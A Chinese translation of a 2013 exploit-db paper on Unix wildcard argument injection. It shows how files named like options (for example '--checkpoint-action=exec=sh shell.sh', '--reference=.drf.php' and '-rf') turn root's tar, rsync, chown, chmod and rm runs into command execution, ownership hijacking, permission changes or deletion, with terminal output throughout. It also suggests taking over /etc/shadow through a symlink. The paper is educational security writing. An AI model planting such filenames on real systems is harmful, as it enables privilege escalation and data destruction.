Wildcard Gone Wild:Unix 通配符攻击-译

原文:https://www.exploit-db.com/papers/33930
作者:- Leon Juranic leon@defensecode.com
创建日期:2013/04/20
发布日期:2014/06/25

引言

首先,这篇文章没有像ASLR绕过、POP利用、0day远程内核漏洞或者Chrome上那种需要”串14个不同的bug才能到达目标”的现代黑客技术。本文要介绍的是一种有趣的老派的Unix黑客技巧,直到2013年仍然有效。让我惊讶的是很多安全从业者都没有听说过这种技巧。可能是此前没人正式讨论过它。

我决定写本文的原因很简单:就我个人而言,仅凭一些简单的Unix通配符投毒就能完成一些目的很有趣。因此,你也可以吧本文当作一组精巧的 *nix黑客技巧合集,据我所知,它们之前还没有被系统呈现过。

如果你想知道如何使用 tar或者 chown这样基础的Unix工具完全攻陷系统,请继续读下去。请坐稳、系好安全带,我们要一路回到80年代,直抵Unix Shell黑客世界。(背景里是不是响起了那种糟糕发型摇滚/律动迪斯科?我想是的……)

Unix通配符

如果你已经知道了什么是Unix通配符,以及它们是如何在shell脚本中使用的,可以跳过本节。

通配符是一个字符或者一组字符,用于替代某个范围/类别的字符,在执行其他动作之前,通配符由shell解释。
一些常见的通配符:

  • * 星号匹配文件名中的任意数量字符(包括零个)。
  • ? 问号匹配任意单个字符。
  • [ ] 方括号包裹一个字符集合,其中任意一个字符都可以在该位置匹配。
  • - 在方括号内使用连字符表示一个范围
  • ~ 位于单词开头时展开为你的主目录。若其后接上其他用户的登录名,则表示该用户的主目录。
    通配符的基本使用示例:
1
2
3
4
5
6
7
8
9
10
11
ls *.php  
列出所有以 .php 结尾的文件

rm *.gz
删除所有 GZIP 文件

cat backup*
显示所有以 backup 开头的文件内容

ls test?
列出所有以 test 开头且恰好再多一个字符的文件

通配符Wilderness

顾名思义,通配符天生就是狂野的(wild),在某些场景中他们甚至会失控(go berserk)。
在最初玩这些有趣的通配符技巧时,我和一些老派的(old school) Unix管理员以及安全从业者交流,看看他们当中有多少人了解这些技巧以及潜在的危险。令我惊讶的是20个人里面只有2个人表示知道:在使用通配符时,特别是 rm命令时,要格外谨慎,因为有人可能会利用”看起来像是参数的文件名(argument-like-filename)”。 其中一位说他多年前在某个基础的Linux管理课程里听说过此事。

这个技巧背后的原理很简单:当使用shell通配符时,尤其是 *(asterisk)时,Unix shell会把以 -(hyphen) 开头的文件名解析为要执行的命令/程序的命令行参数。这就给经典的”通道混淆(channeling)”攻击留下来空间。

当不同的信息通道被混合到同一个通道时,就会出现”通道混淆”问题。本文中具体场景,就是因为通配符的使用把”参数”和”文件名”这两个不同的”通道”混淆了。下面看一个非常基础的”通配符导致参数注入”的例子。

1
2
3
4
5
6
7
8
9
10
11
[root@defensecode public]# ls -al
total 20
drwxrwxr-x. 5 leon leon 4096 Oct 28 17:04 .
drwx------. 22 leon leon 4096 Oct 28 16:15 ..
drwxrwxr-x. 2 leon leon 4096 Oct 28 17:04 DIR1
drwxrwxr-x. 2 leon leon 4096 Oct 28 17:04 DIR2
drwxrwxr-x. 2 leon leon 4096 Oct 28 17:04 DIR3
-rw-rw-r--. 1 leon leon 0 Oct 28 17:03 file1.txt
-rw-rw-r--. 1 leon leon 0 Oct 28 17:03 file2.txt
-rw-rw-r--. 1 leon leon 0 Oct 28 17:03 file3.txt
-rw-rw-r--. 1 nobody nobody 0 Oct 28 16:38 -rf

有一个名为 -rf的文件,它的所有者是 nobody,现在我们运行 rm *再来看看目录内容:

1
2
3
4
5
6
[root@defensecode public]# rm *
[root@defensecode public]# ls -al
total 8
drwxrwxr-x. 2 leon leon 4096 Oct 28 17:05 .
drwx------. 22 leon leon 4096 Oct 28 16:15 ..
-rw-rw-r--. 1 nobody nobody 0 Oct 28 16:38 -rf

目录被清空了,只剩下 -rf这个文件,所有文件和目录都被递归删除。
当我们用 *作为参数执行 rm时,当前目录下的所有文件名都会作为命令行参数传递给 rm,等价于

1
rm DIR1 DIR2 DIR3 file1.txt file2.txt file3.txt -rf

因为当前目录里有一个名为 -rf文件rm 把它当成了选项-rf)放在了最后,于是把所有东西都递归地删了。
我们用 strace 也能看到这一点:

1
2
3
4
[leon@defensecode WILD]$ strace rm *
execve("/bin/rm", ["rm", "DIR1", "DIR2", "DIR3", "file1.txt", "file2.txt",
"file3.txt", "-rf"], [/* 25 vars */]) = 0
^- 就在这里

现在我们知道了,为什么可以向 Unix 程序注入任意参数。下一节会讲讲如何滥用这个“特性”,做的不仅仅是“递归删文件”。

更有用的东西

既然我们已经知道如何向shell命令注入任意参数,那就来演示几个比”递归删除文件”更有用的例子。
最初我玩到这个通配符技巧后,就开始寻找一些常见的、基础的Unix程序,看它们在接收到意外参数时,会不会收到严重影响。在真是世界中,下面这些例子既可以在交互式shell里执行,也可以通过定时任务(cron)、shell脚本、web应用触发的命令等路径被滥用。
一下的示例里,攻击者都用lemon 账号,受害者是root

chown的文件引用利用技巧(文件所有者劫持)

第一个有趣的目标是chown
假设我们有一个可公开写入的目录,里面一堆文件,root想把所有php文件属主改为 nobody,请注意下面文件列表中的所有者:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[root@defensecode public]# ls -al
total 52
drwxrwxrwx. 2 user user 4096 Oct 28 17:47 .
drwx------. 22 user user 4096 Oct 28 17:34 ..
-rw-rw-r--. 1 user user 66 Oct 28 17:36 admin.php
-rw-rw-r--. 1 user user 34 Oct 28 17:35 ado.php
-rw-rw-r--. 1 user user 80 Oct 28 17:44 config.php
-rw-rw-r--. 1 user user 187 Oct 28 17:44 db.php
-rw-rw-r--. 1 user user 201 Oct 28 17:35 download.php
-rw-r--r--. 1 leon leon 0 Oct 28 17:40 .drf.php
-rw-rw-r--. 1 user user 43 Oct 28 17:35 file1.php
-rw-rw-r--. 1 user user 56 Oct 28 17:47 footer.php
-rw-rw-r--. 1 user user 357 Oct 28 17:36 global.php
-rw-rw-r--. 1 user user 225 Oct 28 17:35 header.php
-rw-rw-r--. 1 user user 117 Oct 28 17:36 inc.php
-rw-rw-r--. 1 user user 111 Oct 28 17:38 index.php
-rw-rw-r--. 1 leon leon 0 Oct 28 17:45 --reference=.drf.php
-rw-rw----. 1 user user 66 Oct 28 17:35 password.inc.php
-rw-rw-r--. 1 user user 94 Oct 28 17:35 script.php

这些公共目录里的文件大多归 user 所有,root 现在要把它们改为 nobody

1
[root@defensecode public]# chown -R nobody:nobody *.php

执行之后,再看一眼文件的所有者:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[root@defensecode public]# ls -al
total 52
drwxrwxrwx. 2 user user 4096 Oct 28 17:47 .
drwx------. 22 user user 4096 Oct 28 17:34 ..
-rw-rw-r--. 1 leon leon 66 Oct 28 17:36 admin.php
-rw-rw-r--. 1 leon leon 34 Oct 28 17:35 ado.php
-rw-rw-r--. 1 leon leon 80 Oct 28 17:44 config.php
-rw-rw-r--. 1 leon leon 187 Oct 28 17:44 db.php
-rw-rw-r--. 1 leon leon 201 Oct 28 17:35 download.php
-rw-r--r--. 1 leon leon 0 Oct 28 17:40 .drf.php
-rw-rw-r--. 1 leon leon 43 Oct 28 17:35 file1.php
-rw-rw-r--. 1 leon leon 56 Oct 28 17:47 footer.php
-rw-rw-r--. 1 leon leon 357 Oct 28 17:36 global.php
-rw-rw-r--. 1 leon leon 225 Oct 28 17:35 header.php
-rw-rw-r--. 1 leon leon 117 Oct 28 17:36 inc.php
-rw-rw-r--. 1 leon leon 111 Oct 28 17:38 index.php
-rw-rw-r--. 1 leon leon 0 Oct 28 17:45 --reference=.drf.php
-rw-rw----. 1 leon leon 66 Oct 28 17:35 password.inc.php
-rw-rw-r--. 1 leon leon 94 Oct 28 17:35 script.php

超级用户明明想把属主改成 nobody:nobody,结果所有文件都变成 leon 拥有了。
仔细看,这个目录里来自 leon 的文件只有这两个

1
2
-rw-r--r--.  1 leon leon    0 Oct 28 17:40 .drf.php
-rw-rw-r--. 1 leon leon 0 Oct 28 17:45 --reference=.drf.php

问题在于:chown 命令行里使用了通配符,于是任意的 --reference=.drf.php 这个文件名被当成选项传给了 chown
chown 的手册(man chown):

1
2
--reference=RFILE
use RFILE's owner and group rather than specifying OWNER:GROUP values

也就是说,--reference 选项会覆盖命令中指定的 nobody:nobody,把目标文件的属主/属组改成参考文件 .drf.php 的属主/属组,而 .drf.phpleon 的。顺带一提,.drfDummy Reference File(虚拟参考文件) 的缩写 :)

总结一下:通过 --reference,我们可以把文件的所有权改成任意用户。如果把 --reference 指向另一个用户拥有的某个文件,那这个用户就会成为当前目录所有文件的拥有者。
借助这种 chown 参数污染,我们可以诱使 root 把文件改属为任意用户,实际上完成“文件劫持”。
更进一步,如果 leon 事先在该目录里创建了一个符号链接指向 /etc/shadow,那么 /etc/shadow 的所有权也会被改成 leon

chown的文件引用利用技巧

与上面的 chown 攻击类似,chmod 同样有 --reference 选项,可以被滥用来对由星号通配选中的文件设置任意权限chmod 手册(man chmod):

1
2
--reference=RFILE
use RFILE's mode instead of MODE values

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[root@defensecode public]# ls -al
total 68
drwxrwxrwx. 2 user user 4096 Oct 29 00:41 .
drwx------. 24 user user 4096 Oct 28 18:32 ..
-rw-rw-r--. 1 user user 20480 Oct 28 19:13 admin.php
-rw-rw-r--. 1 user user 34 Oct 28 17:47 ado.php
-rw-rw-r--. 1 user user 187 Oct 28 17:44 db.php
-rw-rw-r--. 1 user user 201 Oct 28 17:43 download.php
-rwxrwxrwx. 1 leon leon 0 Oct 29 00:40 .drf.php
-rw-rw-r--. 1 user user 43 Oct 28 17:35 file1.php
-rw-rw-r--. 1 user user 56 Oct 28 17:47 footer.php
-rw-rw-r--. 1 user user 357 Oct 28 17:36 global.php
-rw-rw-r--. 1 user user 225 Oct 28 17:37 header.php
-rw-rw-r--. 1 user user 117 Oct 28 17:36 inc.php
-rw-rw-r--. 1 user user 111 Oct 28 17:38 index.php
-rw-r--r--. 1 leon leon 0 Oct 29 00:41 --reference=.drf.php
-rw-rw-r--. 1 user user 94 Oct 28 17:38 script.php

root用户现在尝试把所有文件的权限设为 000

1
chmod 000 *

再看看权限:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[root@defensecode public]# ls -al
total 68
drwxrwxrwx. 2 user user 4096 Oct 29 00:41 .
drwx------. 24 user user 4096 Oct 28 18:32 ..
-rwxrwxrwx. 1 user user 20480 Oct 28 19:13 admin.php
-rwxrwxrwx. 1 user user 34 Oct 28 17:47 ado.php
-rwxrwxrwx. 1 user user 187 Oct 28 17:44 db.php
-rwxrwxrwx. 1 user user 201 Oct 28 17:43 download.php
-rwxrwxrwx. 1 leon leon 0 Oct 29 00:40 .drf.php
-rwxrwxrwx. 1 user user 43 Oct 28 17:35 file1.php
-rwxrwxrwx. 1 user user 56 Oct 28 17:47 footer.php
-rwxrwxrwx. 1 user user 357 Oct 28 17:36 global.php
-rwxrwxrwx. 1 user user 225 Oct 28 17:37 header.php
-rwxrwxrwx. 1 user user 117 Oct 28 17:36 inc.php
-rwxrwxrwx. 1 user user 111 Oct 28 17:38 index.php
-rw-r--r--. 1 leon leon 0 Oct 29 00:41 --reference=.drf.php
-rwxrwxrwx. 1 user user 94 Oct 28 17:38 script.php

发生了什么?本来应该是 000,结果所有文件都成了 777,因为通过文件名注入了 --reference 选项。
再次说明:leon 拥有的 .drf.php 的权限是 777,被用作参考文件;既然提供了 --reference,那么所有文件都会被设为 777
除了 --reference,攻击者还可以再造一个文件名为 -R 的文件,从而让 chmod子目录中的文件也递归地修改权限。

tar任意命令执行

上面的例子很好地说明了“所有权劫持”。现在我们来看更有意思的:任意命令执行tar 是非常常见的 Unix 程序,用于创建与解压归档。
创建归档的常见用法:

1
tar cvvf archive.tar *

那么 tar 有什么问题?问题在于 tar 的选项很多,其中从“任意参数注入”的角度看,有些选项非常有意思。
tar 手册(man tar):

1
2
3
4
5
--checkpoint[=NUMBER]
display progress messages every NUMBERth record (default 10)

--checkpoint-action=ACTION
execute ACTION on each checkpoint

这里的 --checkpoint-action 可以指定在每次到达检查点时执行的程序。本质上,这就允许我们执行任意命令。
看下面的目录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[root@defensecode public]# ls -al
total 72
drwxrwxrwx. 2 user user 4096 Oct 28 19:34 .
drwx------. 24 user user 4096 Oct 28 18:32 ..
-rw-rw-r--. 1 user user 20480 Oct 28 19:13 admin.php
-rw-rw-r--. 1 user user 34 Oct 28 17:47 ado.php
-rw-r--r--. 1 leon leon 0 Oct 28 19:19 --checkpoint=1
-rw-r--r--. 1 leon leon 0 Oct 28 19:17 --checkpoint-action=exec=sh shell.sh
-rw-rw-r--. 1 user user 187 Oct 28 17:44 db.php
-rw-rw-r--. 1 user user 201 Oct 28 17:43 download.php
-rw-rw-r--. 1 user user 43 Oct 28 17:35 file1.php
-rw-rw-r--. 1 user user 56 Oct 28 17:47 footer.php
-rw-rw-r--. 1 user user 357 Oct 28 17:36 global.php
-rw-rw-r--. 1 user user 225 Oct 28 17:37 header.php
-rw-rw-r--. 1 user user 117 Oct 28 17:36 inc.php
-rw-rw-r--. 1 user user 111 Oct 28 17:38 index.php
-rw-rw-r--. 1 user user 94 Oct 28 17:38 script.php
-rwxr-xr-x. 1 leon leon 12 Oct 28 19:17 shell.sh

现在,root 要把当前目录里的所有文件打包

1
tar cf archive.tar *

输出:

1
2
3
4
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

发生了什么?/usr/bin/id 被执行了!我们刚刚在 root 权限下实现了任意命令执行。
再看这些由 leon 创建的文件

1
2
3
-rw-r--r--.  1 leon leon     0 Oct 28 19:19 --checkpoint=1
-rw-r--r--. 1 leon leon 0 Oct 28 19:17 --checkpoint-action=exec=sh shell.sh
-rwxr-xr-x. 1 leon leon 12 Oct 28 19:17 shell.sh

--checkpoint=1--checkpoint-action=exec=sh shell.sh 被当作命令行选项传给 tar。它们让 tar 在达到检查点时执行 shell.sh

1
2
[root@defensecode public]# cat shell.sh
/usr/bin/id

因此,通过这种 tar 参数污染,我们基本上可以以运行 tar 的用户的权限执行任意命令。

rsync任意命令执行

rsync 是“一个快速、多功能的远程(也可本地)文件复制工具”,在 Unix 系统上非常常见。
看一下 rsync 的手册,我们同样能找到能被滥用来进行任意命令执行的选项。

rsync 手册摘录:
“像使用 rcp 一样使用 rsync。你必须指定源和目标,其中一个可以是远端。”

几个有意思的选项:

1
2
-e, --rsh=COMMAND           指定要使用的远程 shell
--rsync-path=PROGRAM 指定在远端机器上运行的 rsync 程序

我们直接滥用一下手册里的一个例子:把本地目录里所有 *.c 文件复制到远端主机 foo/src 目录。

1
rsync -t *.c foo:src/

目录内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[root@defensecode public]# ls -al
total 72
drwxrwxrwx. 2 user user 4096 Mar 28 04:47 .
drwx------. 24 user user 4096 Oct 28 18:32 ..
-rwxr-xr-x. 1 user user 20480 Oct 28 19:13 admin.php
-rwxr-xr-x. 1 user user 34 Oct 28 17:47 ado.php
-rwxr-xr-x. 1 user user 187 Oct 28 17:44 db.php
-rwxr-xr-x. 1 user user 201 Oct 28 17:43 download.php
-rw-r--r--. 1 leon leon 0 Mar 28 04:45 -e sh shell.c
-rwxr-xr-x. 1 user user 43 Oct 28 17:35 file1.php
-rwxr-xr-x. 1 user user 56 Oct 28 17:47 footer.php
-rwxr-xr-x. 1 user user 357 Oct 28 17:36 global.php
-rwxr-xr-x. 1 user user 225 Oct 28 17:37 header.php
-rwxr-xr-x. 1 user user 117 Oct 28 17:36 inc.php
-rwxr-xr-x. 1 user user 111 Oct 28 17:38 index.php
-rwxr-xr-x. 1 user user 94 Oct 28 17:38 script.php
-rwxr-xr-x. 1 leon leon 31 Mar 28 04:45 shell.c

现在 root 要把所有 C 文件复制到远端:

1
rsync -t *.c foo:src/

输出:

1
2
rsync: connection unexpectedly closed (0 bytes received so far) [sender]
rsync error: error in rsync protocol data stream (code 12) at io.c(601) [sender=3.0.8]

看看发生了什么:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[root@defensecode public]# ls -al
total 76
drwxrwxrwx. 2 user user 4096 Mar 28 04:49 .
drwx------. 24 user user 4096 Oct 28 18:32 ..
-rwxr-xr-x. 1 user user 20480 Oct 28 19:13 admin.php
-rwxr-xr-x. 1 user user 34 Oct 28 17:47 ado.php
-rwxr-xr-x. 1 user user 187 Oct 28 17:44 db.php
-rwxr-xr-x. 1 user user 201 Oct 28 17:43 download.php
-rw-r--r--. 1 leon leon 0 Mar 28 04:45 -e sh shell.c
-rwxr-xr-x. 1 user user 43 Oct 28 17:35 file1.php
-rwxr-xr-x. 1 user user 56 Oct 28 17:47 footer.php
-rwxr-xr-x. 1 user user 357 Oct 28 17:36 global.php
-rwxr-xr-x. 1 user user 225 Oct 28 17:37 header.php
-rwxr-xr-x. 1 user user 117 Oct 28 17:36 inc.php
-rwxr-xr-x. 1 user user 111 Oct 28 17:38 index.php
-rwxr-xr-x. 1 user user 94 Oct 28 17:38 script.php
-rwxr-xr-x. 1 leon leon 31 Mar 28 04:45 shell.c
-rw-r--r--. 1 root root 101 Mar 28 04:49 shell_output.txt

目录里由 leon 拥有的两个文件是:

1
2
-rw-r--r--.  1 leon leon     0 Mar 28 04:45 -e sh shell.c
-rwxr-xr-x. 1 leon leon 31 Mar 28 04:45 shell.c

执行 rsync 之后,目录里多了一个由 root 拥有的新文件 shell_output.txt

1
-rw-r--r--.  1 root root   101 Mar 28 04:49 shell_output.txt

内容如下:

1
2
[root@defensecode public]# cat shell_output.txt
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

由于使用了 *.c 通配符,rsync 在命令行上得到了 -e sh shell.c 这个选项;于是 rsync 启动时执行了 shell.c
shell.c 的内容如下:

1
2
cat shell.c 
/usr/bin/id > shell_output.txt

结语

本文讨论的技巧可以以不同形式应用到各种流行的 Unix 工具上。在真实世界的攻击里,任意 shell 选项/参数可以被悄悄地伪装在普通文件名之间,管理员很难一眼发现。更进一步地说,如果是 cron 任务shell 脚本Web 应用去调用这些 shell 命令,
除此之外,可能还有更多流行的 Unix 工具会受到前述通配符攻击的影响。

感谢 Hrvoje Spoljar 和 Sec-Consult 就本文提供的一些想法。